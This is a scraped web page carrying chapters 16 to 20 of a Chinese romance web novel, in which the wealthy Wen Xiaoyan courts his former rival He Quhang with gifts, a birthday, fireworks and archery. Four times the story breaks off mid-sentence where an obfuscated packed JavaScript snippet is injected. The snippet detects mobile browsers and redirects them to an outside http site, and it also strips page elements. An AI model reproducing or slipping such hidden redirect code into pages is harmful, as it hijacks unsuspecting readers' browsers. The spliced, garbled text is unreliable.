‘失踪’不过几小时就有人慌不择路地四处奔波,闻萧延也不介意让他真的消失。 “不然我会揍你一顿,然后把你沉在江里,再捞上来切碎了喂狗。”闻萧延阴鸷地笑起来,“你懂?” 16. 第 16 章 贺曲航把安林的礼品袋随手放到门口的柜台上,和之前收到的那些摆在一起,只把袋子的照片拍照发给助理,让他明天来带走。 柜台被各种各样没拆开的盒子和礼品袋堆满,闻萧延之前来他家里的时候从里面发现了自己送给贺曲航的那个耳钉盒子,小巧一个,在其中其实很不起眼。但闻萧延一眼看到后觉得有些不悦。 他在聊天中超级不经意间询问了一嘴,见到贺曲航没有什么表态,当天就买了三个首饰盒把耳钉放进了洗漱间墙上的置物架里。 虽然贺曲航目前为止还一次都没戴过。他之前爱好花里胡哨的耳挂和耳坠,但现在很喜欢没有任何装饰的最为朴素的那一款。 糖果罐子已经基本快满了。贺曲航不爱吃糖,但是这些五颜六色的小东西摆在门口看着也赏心悦目。 抛去现在一系列抓马的后续,贺曲航没有后悔过当初追求安林。 他的心动是真,追求的过程也倾尽全力。哪怕结果不怎么如意,这一一切都是他人生中的经历,至少他已经热烈的爱过。 但也只是爱过而已,是曾经和过去,不会变成现在和未来。 这个意思就是,他和安林两年前就已经彻底结束了。 闻萧延在第二天早上准时登门拜访,黑色高领外搭酒红色西装马甲,见到贺曲航又穿着睡袍来开门,挑眉问好:“你今天不去公司?” 昨天刚说自己生日,转眼贺曲航就留在家里,这怎么不是一种…… “打工人也要放假,”贺曲航看着他和他身后拿着一大堆东西的保镖,神色冷淡地打断了他脑海里的胡思乱想,说,“今天周六。” 闻萧延是自由职业者,另一种含义叫家财万贯的无业游民,偶尔兼职市政岗位。直白地说那就是天天都是假期。对于贺曲航每天早九晚十的勤恳上班很是不解,但也百分尊重。 贺曲航身上的睡袍一天比一天裹得严实,闻萧延虽然有点遗憾,但什么都不露反倒是另一种禁欲般的性感,眼眸扫过胸膛处微微隆起的布料,遗憾的情绪中不由得带了点别样的意味。 他笑起来:“不请我进去?” 贺曲航看了眼他身后跟着的一堆人,毫不掩饰地皱起眉头:“都要进?” 闻萧延身后离得最近的一个保镖直直从衣兜里掏出一大把塑料袋,尊敬地低下头展示:“少夫人,我们都带了鞋套。” 一眼望过去,眼前穿着整齐有素的黑衣保镖都齐齐地踩着蓝色的船型塑料袋,像是上门来做服务的家政清洁工。 闻萧延看他脸色没有多大变化,但还没有侧身让出可以行人通过的空间,不由得紧跟着若有所思般开口道:“难道你更喜欢太子妃这个称呼?” 他想起之前每次聚会,狐朋狗友们都私下里称呼他为难伺候的太子爷。不错,这称号很合他心意,想来贺曲航也会喜欢。 贺曲航思索了一下,还是没能说出什么话:“……” 八字还没一撇的事情,风流人设就是靠脸皮厚吗。 贺曲航握着门把手的左手紧了紧,克制住又想和他打一架地暴力且不成熟的非成年人处事冲动,他顿了下,把门把手松开了。 闻萧延上下左右地看了一圈他的脸色,半晌敞开门示意身后的十几个保镖都有序进来。 贺曲航去楼梯下左侧拐角的吧台给自己倒水,转身时不由得喝了口杯子里的椰子汁。因为闻萧延紧跟着就站在他正对面,手上把玩着一张JOKER的扑克牌。 两个人之间隔了一张只摆了一瓶酒与三个花色玻璃杯的窄桌。闻萧延右手肘撑起,侧身斜靠在桌子上,看着贺曲航的神情轻快而肆意:“我给你变个魔术?” 贺曲航闻声抬了下眼。 扑克牌在一瞬间的焰火下飞快燃烬,室内冷调的昏黄灯光里,鲜艳欲滴的蓝色玫瑰花在火光中绽放,被一只骨节分明的手捏在手里。 贺曲航素冷的黑色眼眸在焰火的反衬下太过于凌厉漂亮,闻萧延将玫瑰插到桌子上的玻璃杯中,叹道:“那就算你祝我生日快乐。” “过生日送花?”他对面那人闲散地笑起来。 贺曲航伸出右手。指节修长干净,甚至于骨骼的每一寸弧度都透露着精致。他摊开手心示意上面什么都没有,在闻萧延想握上来前轻巧地打了个响指。 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻萧延挑眉去看他的神情,这张英俊的脸没有任何开玩笑般的迹象,那两颗浅痣在蓝玫瑰后方有些看不真切,闻萧延越看越是喜欢,回想起刚刚贺曲航嘴里的话,不由得又轻笑出声。 谦逊礼貌的内里是冰冷,但又从中可以剥离出温柔,这是什么俄罗斯套娃。 闻萧延站起身往厨房大步迈开腿,却忽得想到什么,又回头不经意般勾起嘴角邀请道:“晚上会有烟火秀,贺先生,你愿意赏脸允许我陪你去看吗?” 17. 第 17 章 闻萧延随便往他人家里乱摆乱放增添东西的行为固然让人不喜,但他嚣张肆意惯了,一时半会儿也不觉得自己的行为有什么不对。 贺曲航只是对于他带着一堆人宛如抢劫一般地前来略微不悦,对于房间的布置和陈设毫无占有欲,左右不过也只是一个单纯的住所,反正会被恢复原样。 贺曲航没有给出晚上邀约明确的答复,也不影响闻萧延心情愉悦地品尝完他材料简陋却健康养生的早饭。 他把碗筷放进洗碗机,没有要离开的意思,腿一弯就毫不见外地踩在高脚凳上,琢磨着自己的喜好和贺曲航的叠加起来,开始列菜品名单。 生日还要自己给自己做饭的,这么算来他倒是头一个,也是二十八年来第一次过这么简陋的生日。为此他专门推掉了狐朋狗友昨晚凌晨12点举办的大型合家欢生日庆祝活动。 贺曲航还是那身睡袍,点燃了一支烟,靠在阳台的吊篮沙发上打开了电脑。 他身旁被摆满了七彩色的玫瑰,落地窗外撒进冰冷的雾白色日光,冷气被玻璃窗隔绝开来,公寓内只能感受到被地暖供给的温暖。 黑笔在闻萧延右手指尖翻飞,他脑袋撑在胳膊上,靠在桌边侧身去看贺曲航的身影。对方英俊的神情漠然而矜贵,左耳上的素白色银钉在玻璃的反射下闪了一下,睡袍的系带不知道什么时候已经松开一点,松松垮垮地挂在他的身上。 似乎是察觉到他的目光,贺曲航含着烟望过来,眼眸微微眯起,在鲜艳的花丛中递给他一个俊冷的神色。 “什么时候换些其他颜色的衣服?”闻萧延转着笔说,“我觉得你应该会很适合浅色。” 贺曲航常年的黑白灰已经深入刻板印象,外在伪装气质再为谦逊,接触起来也透露着不好相处的冷感。 贺曲航在一旁的玻璃盘里弹了弹烟灰,闻言随意道:“可能吧。” 贺曲航周身被转基因的花束衬托地太过于鲜艳亮眼,就像闻萧延喜欢的亮色衣服一样。 红色、紫色、蓝色,越为鲜艳的他越是喜欢。在人群中可以一眼凸显出自己的存在感。某种意义上来说,他性格潇洒不羁,从小到大要风得雨,也享受自己是那个唯一备受瞩目的存在。 和贺曲航的竞争是他为数不多的兴奋点。而前者变成喜欢的人后,他不经意间的举动同样也变成了兴奋剂。 可能贺曲航给他留的早饭并没有这方面的意思,但是闻萧延还是对此很受用,今天一整天都将会保持相对孔雀开屏的姿态。 贺曲航还在敲着电脑,显然不太想和他说话。闻萧延盯着看了一会儿,百无聊赖地换了个姿势坐着,恶趣味发作,继续逗他:“你衣服开了。” 贺曲航双腿交叠地靠在吊篮椅里,听到这句话没有任何其他的动作。睡袍的系带就在电脑下压着,开不开他怎么能不清楚。 贺曲航将烟掐灭在一旁的玻璃盘里:“闻先生,你现在很闲?” “很难看出来吗?”闻萧延手一摊,把笔扔到桌面的白色16K纸张上,理所应当地说道,“我肯定是把所有事情都办完才来找你。” 他说话间走过来,将手撑到贺曲航的摇椅上,见他没有什么阻拦的动作,毫不见外地去转眼看他电脑上的信息。 一目十行地扫一眼,闻萧延挑眉笑起来,压低了声音俯下身诱哄道:“贺先生,你说句好听的?” 闻萧延特意做了造型的三七分碎发刘海下,问话时,一双蔓延着悠闲笑意的眸子就这样静静看着他。 闻萧延的五官是毫无疑问的俊美。他身量极高,黑色的西装内衬地袖口被挽在了小臂处。自上而下地俯身时已然挡住一部分的视野,将贺曲航整个人包裹在内。 贺曲航一米八七的身型,窝在椅子上时被他这样一对比,竟然显得不那么高大挺拔。 “想听什么,”贺曲航一听这句话就明白了,不由得抬起眼扬眉道,“生日快乐?” 助理正在焦头烂额的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775913|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,因为领域的不同,贺曲航亲自去处理可能还需要周旋一下,但凭借闻萧延的身份背景来说,一句话就能解决。 “光一句这个?”闻萧延笑,眼眸幽深,“不够。” 贺曲航微微思索:“那我再祝你一帆风顺财源滚滚……心想事成…?” 贺曲航的嗓音带着柔和的冷感,闻萧延只盯着他一开一合的上下嘴唇,完全懒得弄清楚他本人打着官腔的语调到底在说些什么。 不想听你说话。能不能让他亲一口? 贺曲航怎么能这么难追。闻萧延这样深刻地想。 如果安林当初选择的是贺曲航,那么他面前这个人就肯定不会是现在这样一副冷心冷情的模样。而自己移情别恋后,哪怕是去强取豪夺,能使用手段的数目都要比现在这样追求的成功率要高的多。 “真是败的彻彻底底。”闻萧延啧声。 昨天安林和他对峙,不死心地列出了贺曲航六年间为他做过的所有事情,用来证实这么情根深种的男人心里肯定还对他存有情谊。 闻萧延倒是没能看出这个男人还有那么深情的时刻,事情一件件被举例出来,他差点没能和记忆里那个总是和他互相阴阳挖苦的打架斗殴对象贺曲航对上号。 放着这么一个洁身自好且深情的人不选,选他一个谈过情人两只手数不过来的外在渣男,就因为渣男有势有钱还浪子回头一般紧紧追了他两年?闻萧延真觉得安林当初简直是脑子短路了。 自己当时怎么注意到安林的?啧,完全没注意过,哪来的印象。 不过也刚刚好。闻萧延看着贺曲航眉眼带笑地望向自己时矜贵而温冷的面容,心想,那这样好的人,他就擅自不客气的收入囊中了。 贺曲航对闻萧延那句话的理解显然和他不在一个图层,闻言淡言道:“我说的哪一点不是好话?” 闻萧延伸手碰碰他的耳钉,只一秒就收回手,站直了身体,半晌哑然道:“你说的都是。” 18. 第 18 章 晚上贺曲航还是和闻萧延一起去看烟火秀了。 后者今天把餐桌布置的像极了烛光晚餐,虽然烤了个六寸的巧克力蛋糕,但两个人没走任何过生日的流程就吃完了饭。 贺曲航象征性问他‘要放生日快乐歌吗’的时候,被问的人笑起来:现在可是我好不容易塑造出的约会氛围。 贺曲航懒得就这个话题做出争辩,直接随他而去。 外出的路线就是从这个江边走到那个江边。贺曲航一向有饭后散步的习惯,虽然没有明确答应,但他换了一身大衣,闻萧延就了解到他的意思,再一次见缝插针地邀请他一起前往。 “反正都是出去走路,”闻萧延腔调散漫道,“去看烟花?” 普普通通的周六,不过年也不过节,但似乎是政府一早发了告示的原因,到的时候观景台连门口都已经是人群熙攘。 附近的高楼大厦被统一限电,只有景区内灯光闪烁,路人聚集在灯源处附近三三两两地拍照,拿着一串草莓糖葫芦的小男孩笑着后退着跑过来,在即将撞到贺曲航的身上时被闻萧延捏住了衣领。 “没事吧?” 闻萧延下意识伸出手去握住他的手腕。 贺曲航就在他面前,手腕被他攥在手心,一张英俊的面容仍然淡然冷静。三颗素白的金属钉缀在耳廓,闪闪亮亮的,但是却没有甩开他的手。 温热的皮肤触感从指腹传来,没有下一秒就飞过来的拳头,闻萧延单纯站着,心脏就久违地已经开始疯狂跳动。 “你看起来很热。”贺曲航只是淡淡说。 一个年龄不大的女生急忙而来,带着橙色假发,打扮的非常奇特。男孩的衣领被闻萧延松开,她毫不客气地像拎小狗一样拎起自己弟弟,转过身来打算给两位以她的身高需要抬头仰望才能看清除容貌的男人道歉。 闻萧延没有注意到她,只是看了眼自己身上的薄绒外套,低笑一声:“我快要热炸了。” 女生歉意的内敛表情在脸上顿住 ,听见闻萧延懒散腔调的话语时难免掩面一笑。他看清他们容貌时闪过惊艳与赞叹,但更多的却是震惊。 “宝贝儿,怎么回事?”一个左手拿着两串糖葫芦,右手提着几大袋购物袋而显得异常手忙脚乱的青年低着头走过来站在女生身边,见她半天没有回话,抬起头来,看到的是异常熟悉的面容。 医院门口的朋克青年穿的还是一如既往的非主流,站定后只先把糖葫芦递给女生,才毫不掩饰地皱起眉。 贺曲航对他略有印象,受安林影响对他的印象分并不太好。他看了一眼只顾着啃糖葫芦的小男孩,尝试从闻萧延手中把自己的手腕释放出来,闻萧延力道很轻,但就是不松开手,在一旁抹上讥讽的笑意。 朋克青年上下扫视他们一眼,皱着眉开口了第一句话:“你两搞一起…不撞号?” 闻萧延心情很好地眉头一扬,极具戏剧性地道:“你竟然还是,异性恋?” 朋克青年下意识反驳,看了一眼女生,大喊起来:“你有病啊?我当然是啊!” 女生踮起脚拍拍他的头:“没关系,我也是双性恋。” “不是宝贝儿,”朋克青年连忙解释,“一百多遍了,我真不喜欢安老师啊,之前是你们拜托我我才……” 女生没理他,把手里的糖葫芦塞给贺曲航空着的那只手,抬起头对他笑:“贺先生,你长的这么好看,安老师当初看不上你是他的损失。” 贺曲航捏着手里的糖葫芦,脸上没什么神色,闻言很浅地笑了下,站在那里没有回话。 她看了看闻萧延,沉默了下又说:“安老师人很好,我们的设计评选不了时他都会想尽办法帮我们,现在他已经离职了,希望您不要太难为他。” 贺曲航虽然不知道安林为什么离职,但这其中肯定少不了闻萧延的手笔。他不在意也不关心,顿了半晌,去看一旁的闻萧延。 闻萧延慵懒自得地站着,直接笑起来:“我只是递交了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775914|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投诉信,”他轻描淡写地说,“我怎么会对他怎么样呢?” 闻萧延的态度太过问心无愧,左右一封投诉信也不能怎么样的表现。女生再三道歉后,看了一眼贺曲航,扯着还想再说什么的青年走了。 贺曲航垂眸看了下两个人皮肤相挨的地方,闻萧延手心的温度太烫,存在感太过于强烈,贺曲航没法忽视:“能松开了吗?” “还握着吗竟然?”闻萧延凑过来眉飞色舞地笑起来,试探性地摩挲了几下手心里骨骼分明的腕骨,“你看你其实也没有多排斥我,那是不是有一点接受我,有一点喜欢的话那我能不能……” 贺曲航把糖葫芦戳到他嘴角,淡然道:“你还是少说一点话比较好。” 闻萧延顺其自如,愉悦地张开嘴咬碎最上方那颗草莓的糖衣。 “很甜。”他眯起眼睛,握住贺曲航的手腕,还没有追到手就心猿意马起来,很想凑上去亲亲他。 他的思维一瞬间跨越接吻和拥抱、再顺其自然地上/床……思考贺曲航的神情还会如同现在这样俊冷的吗? 闻萧延一瞬间突然有点想象不出来。 记忆里一拳砸来时燃着火光的眸瞳仍然泛着冰冷,与眼前人温冷柔和的眉宇重叠,闻萧延没有松手。灼热的温度交替,他拉着贺曲航一路上到了观景台的最顶端。 透明观光电梯在无人的天台停靠。踏出门地那瞬间,五彩斑斓的烟花突然在眼前绽开。下方是人声鼎沸的另一个世界,闻萧延站直了身体,却又不由自主地凑过去,垂眸去凝视贺曲航沉稳的眉眼,嘴唇缓缓停留在他的耳畔。 “我喜欢你。”闻萧延说。 没有华丽的辞藻和繁杂的言语,他只是单纯对着贺曲航坦荡无比地再次抛开自己的心意。 焰火旋转飞舞,倒映过贺曲航素色的耳钉和漆黑比墨的眼眸,闻萧延的呼吸声近到咫尺,携带着清香果甜的玫瑰气味。 “我知道,”贺曲航只是说。“生日快乐。” 19. 第 19 章 跨年后第二周周末是闻萧延祖父的八十大寿。贺曲航的父亲还在国外,并不能回来,发传真要贺曲航和他兄长一起去。 彼时贺曲航正在射箭俱乐部里看着闻萧延一边拉弓一边疯狂左右脑互搏地计算角度。 闻萧延额前的碎发被发带束起,凌厉肆意的五官被完整的暴露出来,他的身材挺拔高大,就这样站着拉弓对标远处不断移动的靶心,呆立着已经静止了半晌,仿佛被按了暂停键的视频画像。 贺曲航在场外的椅子上双腿交叠地坐着,他已经换下了手臂和指腹上的护具,端起经理刚刚递上来的温茶,一页一页翻着今早的财经速报,不时抬起手浅酌两口,悠哉地挂断了刚刚助理打来的电话。 闻萧延在看完烟花回来的路上说想和他再比一场射箭,如果他赢了贺曲航就再答应他一个要求,反之输了他就给贺曲航做一个月饭。 虽然两个人都知道这赌约并不成立,即使贺曲航不答应,他也会继续天天进行所谓的上/门/服/务。 弓箭本身就是贺曲航小时候专门抽空练习过的,他被激地也起了几分兴致,两个人在这里按射中靶心的积分排名换算,整整两周了还没有分清高下。 直到刚刚,贺曲航因为手机电话突然响起而导致一瞬间分神,射出的那一箭没有正中靶心,才给了闻萧延现在的可乘之机。 半露天场地的周围什么都没有,空旷的环境里只能听到冷风吹过各类物品时的风声。闻萧延眯起眸子,缓缓地拉开了手里的弓箭。 他终于动了,在贺曲航翻完了手里的一整本财经速报、并将茶杯放在一旁的桌子上时。 “我这一箭射中,你去参加晚宴的西装由我准备。”闻萧延眉宇一扬轻笑起来,眼神里透露着轻狂和傲气。 说完这句话,他果断的松了手,侧身去看贺曲航自然勾起嘴角时展露的温和面庞。 那一箭不用想都会是正中靶心。闻萧延把弓递给在一旁全程站着看护的教练,扯下额前的黑色发带与右手的护指,随意将护臂扔在桌子上,撩起碎发向贺曲航大步走去。 贺曲航抬了下眼皮:“哪个晚宴?” “还能是哪个?”闻萧延笑起来,“亲爱的加贝儿先生,咱爷爷的八十岁大寿宴。” 贺字被他拆开了读,儿化音在尾音挑起,暧昧的语气就这样顺着咽喉滚动出来,贺曲航最近已经被他这样叫习惯了,闻言只是陷入了思考。 在四天前认字不全的小朋友这样称呼贺曲航后,闻萧延就有模有样地学了起来。 闻萧延那天照例去接他下班,最近这段时间他把助理的活抢了个遍,导致贺曲航的那位助理先生见到他时脸色铁青无比,并且对他十分不欢迎,下令前台看紧了不让他进公司。 助理已婚,小孩三岁多,能略微认识一些不是很复杂的字。虽然身为二十四小时待命的生活工作都负责地全能型贴身特助,但除了正常上下班外贺曲航向来没有任何任务分担给他,公司的工作也有一整个秘书部门负责处理,助理只需要过一眼,然后进行整合和汇报。 日常接送上下班的工作被抢,他妻子就带着孩子来接他回家。那天经理不在岗,闻萧延非要进的话也没有人敢去拦截,助理把贺曲航送下电梯,五个人却在公司进门的大厅里遇到。 女人留着干练的短发,不仔细瞧甚至会认错她的性别,她问好道贺先生好。手里签着的女孩在下面开始看着他歪头吐泡泡:“he?” “这孩子最近在认字。”助理笑起来。 贺曲航外表矜贵英俊,虽然无形之中充斥着上位者的压迫,但温和面容挂上时任谁第一眼还是会对他泛起好感。他勾起嘴角,应声点头:“加贝贺。” “加贝儿先生。”女孩眨眨大眼睛喊起来,口齿清晰伶俐,圆润的儿化尾音可爱活波,“老师昨天教过!” “加贝儿。”闻萧延在一旁嘴角漾起弧度,拖长腔调跟着叫了一声,在贺曲航淡瞥过来时,微微俯下身指了指自己插话介绍道,“门耳闻。” 助理眉头一跳,不悦的抿起嘴角。女孩看不懂大人的情绪,似懂非懂地点点头:“门先生!” 闻萧延得意地笑起来,才不管助理什么态度与表现,散漫扬眉把自己当成一个暗红色西装马甲王子去邀请贺曲航上他的黑色轿车。 毕竟换一个字就是宝贝儿,怎么不算一种特殊的称呼。闻萧延想到这里,把自己摔进旁边的躺椅上,伸出手去拿贺曲航茶杯旁的空杯子。 经理连忙上前来帮他倒了满杯,闻萧延半晌若有所思地道:“哦,我都忘了…” “你哥应该会给你准备。”闻萧延啧了声。 贺曲航的父兄都是一比一复刻的工作狂,他手下就一家公司,还算清闲,但那两位或度假或工作忙地起飞,基本都是满世界跑,一年到头也见不了几面。 但这并不影响他们之间的感情,他们都对他很好,贺曲航爱着爱他的人,尤其是家人。 贺曲航不假思索地笑了下:“嗯。” 闻萧延看着他带着笑意的脸,目光扫过他浅痣,一口气咽下了杯子里的茶水。 “你可以换一个。”贺曲航慷慨地说,这个属于不可抗因素,他做不到的话可以换一个要求。 闻萧延舔了下干涩的下唇,闻言笑起来:“那我先欠着。” 贺曲航当然不是那种言而无信的人,自然地点头应下了:“当然可以。” “那我可不可以——”闻萧延试探道,“换成两个要求。”他懒洋洋地凑过来解释,“毕竟是你不能答应我在先……” 给一句好话就开始蹬鼻子上脸,闻萧延显然将这个发挥到了极致。贺曲航似笑非笑地看起他来。 闻萧延手撑在躺椅上隔着小桌子和他对视,一秒后他略显失望地躺下去:“好吧,加贝儿先生。” 闻萧延微微弯起左腿,一点一点地踩着地向左移动,末了又不死心地突然问:“真的不能加倍吗?” 贺曲航悠散地坐在椅子上,黑色皮鞋的鞋尖浅浅踩住桌子下方的横梁,听到这句话眉头微扬,勾唇淡声道:“我只欠了你一个要求。” “那什么都可以提? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775915|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”闻萧延挑眉道。 闻萧延这副不信任的重复问句就像会提出什么是贺曲航做不到的过分要求一样。但无非就是约饭或者什么,贺曲航漫不经心地肯定道:“当然。” 闻萧延枕着手臂半躺着,顺着桌子下方的空阔空间,能清楚地从下方能看到贺曲航冲锋衣外套下,腰腹上的那个还没有摘下来的护胸。 护胸最下方,细细一根绳子勒出饱满的胸肌,看起来弧度异常完美,没有被黑色厚布掩盖的左胸部分,薄薄一层的白色内衬下隐约可见一点粉色凸起。 胸肌被布料包裹,又被细绳紧束,展示出诱人的完美曲线,如果不是时间不对、地点不对、乃至于贺曲航还是那副英俊淡漠的神色,闻萧山会以为这是对他的邀请,逼迫他现在就使用那个要求。 当事人还漫不在意地交叠着双腿,闻萧延左腿移动着移动着和踩在横梁上的那条腿触碰住了,轻描淡写地碰触了几秒,闻萧延半靠着坐起来把经理新递上来的半壶茶喝完了。 “不能一次性喝这么多,”经理在一边惊讶地苦起脸,没想到这么酸涩的茶还真有人爱喝,只得干巴巴地说,“有可能会上火。” “再给我来瓶白开水。”闻萧延沉默了下,嗓音微哑地皱着眉宇开口,“我好像已经上火了。” 经理惊慌起来,场地是半包围露天,闻萧延身上的暗红色衬衣看起来也异常不保暖,生病了可该如何是好,火急火燎地把室内玻璃罩升起。 贺曲航感觉自己的左小腿冷不定被什么东西挨了几下,他一边将手边的书递给经理,一边下意识抬了下叠在左腿上的右腿,随意扫过去,却没想到结结实实地踩在了闻萧延的左腿膝盖上。 膝盖那里休闲裤的布料被压着摩擦了几下,闻萧延难耐起来,喉结滚动:“加贝儿。” 贺曲航象征性地抬起眼,问:“怎么?” 闻萧延伸手握住他的脚脖子。休闲西裤裤腿与皮鞋之间有一段裸漏脚踝的缝隙,闻萧延摩挲着捏了一下,很快的沉下眸子松开了手。 温热的热源一圈即离,奇怪的痒意从那里泛上胸口,贺曲航还是第一次被人捏住脚腕,不由得皱了下眉,不明白闻萧延刚刚是在干些什么。 “踩到你了?”贺曲航拧着眉头,毫无悔过之意地移开腿,抿唇随口道,“抱歉。” 闻萧延短促地笑起来,推开茶杯站起身,又忽地眉头下压,简明意概地道:“我去洗手。” 贺曲航在他离开的第十二分钟站起身。他回贵宾休息室换了身衣服,再收拾整理了一下,却被告知闻萧延还没有出来。 换个衣服这么久。贺曲航神色淡淡,今天的赌约已经完成,他让经理给闻萧延转述口信说他有事先走,套上万年不变款式的西装大衣就出了俱乐部的门。 助理刚刚给他发了消息,此刻已经在门口等待。没有阳光的空气里吹过微冷的风,贺曲航踩着绿棕色的枯叶上车,俊冷的眉眼如初:“什么事?” 助理开车一向很稳,他缓步启动车辆,几秒后回答道:“您兄长让您回老宅吃饭。” 20.第 20 章 射箭俱乐部所在的位置偏僻,但老宅也位于市郊,两个地方相隔并没有多远,开车只需要二十分钟不到。 宅子外种了一圈树木,之前是银杏,现在换成了柳叶常青树。不久前新修成了院落复式叠层。贺曲航成年后就不太回来了,毕竟老宅时常没人,地理位置也交通不便,管理公司后他就一直住在现在的那套公寓里。 贺家管家拉开车门,炯炯有神地请他下车,他年龄已经八十多岁,但身体一向很健康。基本爱操心的人上了年纪就会犯一点喜欢唠叨的小毛病,一边絮絮叨叨地说准备了很多他爱吃的,一边吩咐下面的人快去忙自己的事情。 助理把他送到就开车回去了,贺曲航把大衣递给一旁等待的人,转身浅笑道:“我哥呢?” 贺管家道:“在书房处理工作呢,你们一个两个都不爱惜自己的身体,天天就对着那电脑屏幕看看看……” 贺曲航笑了下。 贺管家是他奶奶的堂哥,曾经在军方任职的一个小干部,得罪了人被降职退伍,他爷爷把他捞回来按了一个管家职位。可惜两个长辈都去世的早,他照顾完了父亲后又拿他们两个当亲孙子看,一辈子无妻无子,早已算得上是一家人。 “你去找他吧,”贺管家道,又招手让一旁的年轻男佣过来,点了点台子上精致的茶壶,“刚沏好的,顺便把这杯茶给他拿过去。” 贺曲航点了点头,挽起袖口迈开腿向楼上走去。男佣端着茶壶跟在他身后,他是大学毕业刚来不久的新人,沉默地去看这位不太常见的二少爷。 贺曲航轮廓俊冷,面色却带着柔和。他上身只套了一件白色的薄绒衬衫,蓝纹领带刚刚和西装大衣被一起摘下。衬衫的下摆收缩进西装裤里,衣料紧贴皮肤,肉色的躯体若隐若现,被素色的皮带勾勒出瘦劲的窄腰。 一路跟着他走,平日里三分钟的路程只感觉还没看多久就已经到了书房门口,贺曲航挽起袖口,回头向他淡淡道:“给我吧。” 他身躯僵硬地递过去,忘记了说话,看到贺曲航淡然道谢后,没有敲门就直接推门进入。 电脑桌前的男人闻声抬头,他鼻梁上架着一个金丝眼镜,面容俊朗,见到是贺曲航进来时,冷硬的嘴角抿起笑意。 贺曲航把茶壶搁置到他手边让他自己去倒,贺炜柏给两人分别拿了一个杯子,若有所思地问起来:“最近你和闻萧延,是怎么回事?” 贺曲航坐到他对面的靠椅上,接过茶杯,素白色的指尖轻点而过,半晌不解地抬眸:“什么?” 贺曲航与闻萧延两个人追求同一个大学老师乃至相互大打出手的事迹在前几年无人不知无人不晓,贺炜柏自然也处处听说。 他看着贺曲航现在英俊温和的面容,却不免有些感概地想起他的小时候。贺炜柏比他大将近十岁,长兄如父,更何况一年到头父亲也在不了几次,贺曲航基本都由他来管。 别看贺曲航现在如此冷静沉稳,却从小就是耐不住性子的坏冷脾气。高中时染发穿孔抽烟喝酒不知道被谁带着什么都沾一点,贺炜柏只当是叛逆期,看不惯但也溺爱。 没曾想到有一天他就突然喜欢上一个艺术老师。追人后贺曲航就开始戒酒,外表也变得人模人样成熟稳重起来。虽然样子大变,但总之还是贺曲航自己喜欢也愿意,贺炜柏就随他而去。 但最近闻萧延甩人后换情敌追求的传闻同样传到他耳畔,贺炜柏就不得警惕起来。 “他现在在追你?”贺炜柏直白地问。闻萧延之前的事迹他也知道,虽然已经收心四年,但前科历历在目,固然也会让人不喜,他抿了口茶道,“如果是他在纠缠你,解决不了的话可以告诉我和父亲。” 闻萧延已经追了他近半年,贺曲航一开始厌烦他,后来想知道他在搞什么名堂,现在却被对方天天准时提供的□□养的胃口都刁了一点,闻言垂下眸子,抿唇淡淡说:“还好。” 只要贺曲航自己觉得没有问题,贺炜柏就不会过多干涉,左右当年撒娇都会脸红的少年已经成为一个心智成熟的成年人,于是只随意笑了下,就转头挑起其他话题。 零零散散谈到茶水转凉,贺炜柏摘下眼镜,扣上电脑屏幕起身,想起贺曲航已经入围国际的那家公司,问:“后天陪我去参加一个宴会?” “一个很出名的设计师想要签约你的公司,也可以顺便去交流一下。”贺炜柏解释道。 贺曲航大概知道是哪一位,助理给他看过邮件,是一个很出名的华籍外国人,之前是国际展的高端特聘设计师,贺曲航原本还想哪一天专门约他出来商谈,现在刚好也省下了这个时间。 坐到餐桌边时闻萧延刚好打电话来问他在哪里,贺曲航语气淡然道:“我在和我哥吃饭。” “加我一个?”闻萧延勾起唇大言不惭地笑起来,“刚好和未来的兄长交流一下。” 贺曲航沉默了一下,闻萧延立刻改口道:“好吧加贝儿,那吃完了我去接你?” 他语气自然,带着隐藏不住的笑意。贺曲航在贺炜柏轻扫过来的目光下随口报了地址,把电话挂断了。 贺炜柏轻笑问:“我好不容易回来一次,今天还不在家里睡?” “……我明天再回来。”贺曲航酝酿着说。 闻萧延敏锐的发觉贺曲航对他的态度最近都潜移默化地软化了不少,于是早早开车到了贺曲航报出的地址。 贺曲航出来时还是只穿着那件白色的内衬,嘴角挂着浅淡柔和的笑意,气质温柔又放松,闻萧延抄着兜盯着他看,但转眼见身后是贺炜柏一路送着贺曲航出来,不由自主站直了身体,收敛了几分顽劣不驯的洒脱劲。 